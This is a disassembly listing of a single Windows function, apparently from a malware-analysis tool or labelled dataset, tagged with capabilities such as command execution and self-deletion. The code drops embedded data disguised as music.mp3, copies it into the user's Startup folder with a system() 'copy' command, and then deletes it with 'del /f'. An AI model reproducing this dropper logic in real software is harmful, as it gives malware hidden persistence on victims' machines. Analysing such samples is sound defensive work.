Function at 0x401000
Capabilities:
Execute command
Self delete
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
lea rax, section..data
mov qword [rbp - 8], rax
lea rax, [0x007525a0]
mov qword [rbp - 0x10], rax
lea rax, str._AppData_MicrosoftWindowsStart_MenuProgramsStartup_
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_strlen
mov dword [rbp - 0x1c], eax
lea rax, str.music.mp3
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_strlen
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp - 0x1c]
add eax, 0xc
mov ecx, dword [rbp - 0x2c]
add eax, ecx
mov dword [rbp - 0x30], eax
mov eax, dword [rbp - 0x30]
movsxd rax, eax
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x10]
mov ecx, dword [rax]
mov r11, rcx
lea rax, [0x007525e7]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
lea rax, [0x007525ea]
mov r11, rax
mov rax, qword [rbp - 0x28]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x40], rax
cmp rax, 0
je 0x401269
mov rax, qword [rbp - 0x10]
mov ecx, dword [rax]
mov rax, qword [rbp - 0x40]
mov r9, rax
mov r8, rcx
movabs rax, 1
mov r11, rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x40]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_fclose
lea rax, str.copy
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
lea rax, [0x007525f2]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
lea rax, [0x007525f5]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x18]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
lea rax, [0x007525f9]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x38]
mov r11, rax
lea rax, [0x007525fb]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
lea rax, str.del__f
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcpy
lea rax, [0x00752606]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x28]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
lea rax, [0x00752609]
mov r11, rax
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_strcat
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
mov rax, qword [rbp - 0x38]
mov r11, rax
lea rax, [0x0075260b]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_printf
mov rax, qword [rbp - 0x38]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_free
mov eax, 0
leave
ret